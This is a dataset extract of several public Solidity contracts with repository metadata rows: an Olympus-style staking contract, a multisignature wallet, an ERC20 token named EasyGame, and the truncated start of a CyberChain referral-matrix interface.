_recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
74,749
12,049
b9e811b033777e0a7abb2ecf5a76f8243e5d3075bd1ea2e9c1d1fd6805725ad1
27,373
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/16/16c2510851E4b0f168794dceF596521641Bf99aA_IndexStaking.sol
4,197
16,920
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface ISindex { function rebase(uint256 INDEXProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract IndexStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Index; address public immutable sIndex; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Index, address _sIndex, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Index != address(0)); Index = _Index; require(_sIndex != address(0)); sIndex = _sIndex; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Index).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(ISindex(sIndex).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(sIndex).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, ISindex(sIndex).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), ISindex(sIndex).balanceForGons(info.gons)); IERC20(Index).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(sIndex).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Index).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return ISindex(sIndex).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { ISindex(sIndex).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = ISindex(sIndex).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Index).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(sIndex).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(sIndex).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
107,246
12,050
819340476b34c5466dc66fb539ba50b2d92b311f91e582d93f83ea4ceb16a6c2
12,871
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.6/0x68445b9e334374435b26ff75f4236b8a152ab9a6.sol
2,728
12,553
pragma solidity 0.4.23; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); uint constant public MAX_OWNER_COUNT = 50; mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
210,043
12,051
271af4ed434803a7655a6319cc54d3f35709356062eb71b6124c32bea252d1a0
12,104
.sol
Solidity
false
606585904
plotchy/defi-detective
f48830b1085dac002283a2ce5e565e341aab5d0c
00byaddress/00c300c5ae4734abc8b19b71bb2f5f03e829dd4c.sol
2,921
11,345
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract EasyGame is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _decimals = 6; _totalSupply = 1000000000 * uint(10) ** _decimals; _name = "EASY.GAME"; _symbol = "EG"; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
344,073
12,052
37a5b30b0f6f02f80867611b96043d7e1be8456ce6c18125a58e9d07e9a29e43
13,731
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TP/TP2hA4KT4s511XCVAFwKmKSC3s56uhkkng_CyberChain.sol
4,020
13,331
//SourceUnit: CyberChain2.sol pragma solidity 0.5.12; interface ICyberChain { enum Overflow { DOWN, DIRECT, UP, OUTRUN } event Register(address indexed addr, address indexed upline, uint256 id, uint40 time); event BuyLevel(address indexed addr, uint8 level, uint40 time); event SetFirstLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time); event SetSecondLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time); event Reinvest(address indexed addr, uint8 level, uint40 time); event Profit(address indexed addr, uint256 amount, uint40 time); event Lost(address indexed addr, uint256 amount, uint40 time); function register(address payable _upline) payable external; function register(uint256 _upline_id) payable external; function upgrade() payable external returns(uint8 level); function contractInfo() view external returns(uint256 _last_id, uint256 _turnover); function getUserById(uint256 _id) view external returns(address addr, address upline); function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost); function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, 